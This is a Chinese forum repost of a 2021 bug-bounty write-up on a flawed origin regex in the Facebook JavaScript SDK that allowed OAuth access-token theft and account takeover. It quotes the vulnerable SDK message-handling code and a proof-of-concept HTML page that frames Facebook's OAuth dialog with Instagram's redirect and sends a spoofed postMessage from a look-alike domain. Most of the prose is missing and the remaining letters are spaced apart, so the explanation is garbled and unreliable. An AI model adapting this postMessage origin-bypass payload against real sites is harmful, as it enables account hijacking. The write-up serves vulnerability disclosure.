[2245] 2021-01-14_FacebookJavascriptSDK中使用的错误正则表达式会导致包含该正则表达式的网站被帐户收购

文档创建者:s7ckTeam
浏览次数:0
最后更新:2025-01-16
2021-01-14_FacebookJavascriptSDK中使用的错误正则表达式会导致包含该正则表达式的网站被帐户收购 F a c e b o o k   J a v a s c r i p t   S D K 使   s a m m 0 u d a   E D I   2 0 2 1 - 0 1 - 1 4   ·     0 1 0 1 使 F a c e b o o k   J a v a s c r i p t   S D K 访 S D K 使 S D K F a c e b o o k 广 使 F a c e b o o k   J S   S D K 使 F a c e b o o k 使 0 2 0 2 F a c e b o o k   J S   S D K 使 F a c e b o o k 使 S D K F a c e b o o k a p p s . f a c e b o o k . c o m 访 C a n v a s   /   T a b S D K F a c e b o o k 访 a p p s . f a c e b o o k . c o m / A P P _ I D / i f r a m e F a c e b o o k 使 p o s t M e s s a g e E v e n t L i s t e n e r s F a c e b o o k S D K 使 S D K S D K E v e n t l i s t e n e r h t t p s f a c e b o o k . c o m f a c e b o o k . c o m t e s t p o c f a c e b o o k . c o m S D K 使 S D K 使 E v e n t L i s t e n e r 使 F a c e b o o k   J a v a s c r i p t   S D K w i n d o w . l o c a t i o n . h r e f 0 3 0 3   _ _ d ( " s d k . X D " ,   [ " J S S D K X D C o n f i g " ,   " L o g " ,   " Q u e r y S t r i n g " ,   " Q u e u e " ,   " U r l M a p " ,   " g u i d " ,   " i s F a c e b o o k U R I " ,   " r e s o l v e W i n d o w " ,   " s d k . E v e n t " ,   " s d k . f e a t u r e " ,   " s d k . R P C " ,   " s d k . R u n t i m e " ,   " s d k . S c r i b e "                                           v a r   g   =   n e w ( b ( " Q u e u e " ) ) ( ) ,                                                   h   =   " p a r e n t " ,                                                   i   =   n u l l ,                                                       j   =   / ^ h t t p s : / / . * f a c e b o o k . c o m $ / ; . . . w i n d o w . a d d E v e n t L i s t e n e r ( " m e s s a g e " ,   f u n c t i o n ( a )   {                                                           v a r   c   =   a . d a t a ,                                                                   d   =   a . o r i g i n   | |   " n a t i v e " ;                                                           i f   ( ! / ^ ( h t t p s ? : / / | n a t i v e $ ) / . t e s t ( d ) )   {                                                                   b ( " L o g " ) . d e b u g ( " R e c e i v e d   m e s s a g e   f r o m   i n v a l i d   o r i g i n   t y p e :   % s " ,   d ) ;                                                                   r e t u r n                                                           }                                                           i f   ( ! j . t e s t ( d ) )   r e t u r n ;                                                           i f   ( t y p e o f   c   = = =   " s t r i n g " )   r ( c ,   d ) ;                                                           e l s e   {                                                                   i f   ( a . s o u r c e   = =   p a r e n t   & &   a . d a t a . x d A r b i t e r R e g i s t e r A c k   & &   j . t e s t ( d ) )   {                                                                           t y p e o f   a . d a t a . x d A r b i t e r R e g i s t e r A c k   = = =   " s t r i n g "   & &   a . d a t a . x d A r b i t e r R e g i s t e r A c k   ! = =   " "   & &   p ( a . d a t a . x d A r b i t e r R e g i s t e r A c k ) ;                                                                           g . i s S t a r t e d ( )   | |   g . s t a r t ( f u n c t i o n ( a )   {                                                                                   i f   ( a   = =   n u l l )   {                                                                                           b ( " L o g " ) . w a r n ( " D i s c a r d i n g   n u l l   m e s s a g e   f r o m   % s   t o   % s " ,   m ,   d ) ;                                                                                           r e t u r n                                                                                   }                                                                                   v a r   c   =   p a r e n t ;                                                                                   t y p e o f   a   = = =   " o b j e c t "   & &   t y p e o f   a . r e l a t i o n   = = =   " s t r i n g "   & &   ( c   =   b ( " r e s o l v e W i n d o w " ) ( a . r e l a t i o n ) ) ;                                                                                   ( ( c   =   c )   ! =   n u l l   ?   c   :   p a r e n t ) . p o s t M e s s a g e ( {                                                                                           x d A r b i t e r H a n d l e M e s s a g e :   ! 0 ,                                                                                           m e s s a g e :   a ,                                                                                           o r i g i n :   m                                                                                   } ,   d )                                                                           } ) ;                                                                           r e t u r n                                                                   }                                                                   b ( " L o g " ) . w a r n ( " R e c e i v e d   m e s s a g e   o f   t y p e   % s   f r o m   % s ,   e x p e c t e d   a   s t r i n g .   % s " ,   t y p e o f   c ,   m ,   E S ( " J S O N " ,   " s t r i n g i f y " ,   ! 1 ,   c ) ) ;                                                                   r e t u r n                                                           }                                                   } ) ;   / ^ h t t p s : / / . * f a c e b o o k . c o m $ /   / ^ h t t p s : / / . * . f a c e b o o k . c o m $ / t e s t p o c f a c e b o o k . c o m {   x d A r b i t e r R e g i s t e r A c k   c a n v a s } S D K F B _ R P C   j s o n   f a l l b a c k _ r e d i r e c t _ u r i w i n d o w . l o c a t i o n . h r e f
  /   p r o f i l e   / I D o a u t h F a c e b o o k   S D K F a c e b o o k   J S   S D K G o o g l e   A n a l y t i c s 使 使 G o o g l e F a c e b o o k c o m   /   d i a l o g   /   o a u t h G o o g l e F a c e b o o k r e d i r e c t _ u r i a p p _ i d F a c e b o o k G o o g l e i f r a m e d c a n v a s 使 a p p s . f a c e b o o k . c o m i f r a m e F a c e b o o k   o a u t h 使 s r c i f r a m e R E D I R E C T _ U R I F a c e b o o k   S D K f a l l b a c k _ r e d i r e c t _ u r i a c c e s s _ t o k e n 1 0 0 i f r a m e i f r a m e 访 使 a c c e s s _ t o k e n F a c e b o o k 使 P o C P o C w w w . i n s t a g r a m . c o m X - F r a m e - O p t i o n s F a c e b o o k   J S   S D K i f r a m i n g F a c e b o o k I n s t a g r a m . c o m   F a c e b o o k a c c e s s _ t o k e n s 访 F a c e b o o k 访 i f r a m e /   a c c o u n t s   /   s i g n u p   / F a c e b o o k   S D K i f r a m e d i f r a m e F a c e b o o k a c c e s s _ t o k e n ' 使 F a c e b o o k   J a v a s c r i p t   S D K 使 0 4 0 4 线 线 2 0 2 0 1 1 2 0 - 2 0 2 0 1 1 2 7 - F a c e b o o k 2 0 2 0 1 2 4 - F a c e b o o k 2 0 2 0 1 2 3 1 - F a c e b o o k $   1 0 K + E D I h t t p s : / / e x a m p l e . c o m / p r o f i l e / P R O F I L E _ I D i f r a m e   h t t p s : / / e x a m p l e . c o m / m e h t t p s : / / a c c o u n t s . g o o g l e . c o m / o / o a u t h 2 / a u t h h t t p s / / w w w . f a c e b o o k h t t p s : / / t e s t p o c f a c e b o o k . c o m / h t t p s : / / w w w . f a c e b o o k . c o m / d i a l o g / o a u t h ? c l i e n t _ i d = A P P & r e d i r e c t _ u r i = R E D I R E C T _ U R I & r e s p o n s e _ t y p e   = t o k e n h t t p s : / / g r a p h . f a c e b o o k . c o m /   g r a p h q l < h t m l > < h e a d > w i n d o w . a d d E v e n t L i s t e n e r ( " m e s s a g e " ,   ( e v e n t )   = >   { c o n s o l e . l o g ( e v e n t . d a t a ) ;   } ,   f a l s e ) ; < / h e a d > < b o d y > < s c r i p t > f u n c t i o n   f u n ( )   { v a r   i f r   =   d o c u m e n t . g e t E l e m e n t B y I d ( ' i f r ' ) ; i f r . c o n t e n t W i n d o w . p o s t M e s s a g e ( { " x d A r b i t e r R e g i s t e r A c k " : " c a n v a s " } ,   ' * ' ) ; } < / s c r i p t > < i f r a m e   s r c = " h t t p s : / / w w w . f a c e b o o k . c o m / d i a l o g / o a u t h ? c l i e n t _ i d = 1 2 4 0 2 4 5 7 4 2 8 7 4 1 4 & r e d i r e c t _ u r i = h t t p s : / / w w w . i n s t a g r a m . c o m / a c c o u n t s / s i g n u p / & s c o p e = e m a i l & r e s p o n s e _ t y p e = t o k e n "   o n l o a d = " f u n ( t h i s ) " < / b o d y > < / h t m l > h t t p s : / / w w w . f a c e b o o k . c o m / d i a l o g / o a u t h h t t p s : / / w w w . i n s t a g r a m . c o m / a c c o u n t s / U R L 使 a c c e s s _ t o k e n s i g n u p   /
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则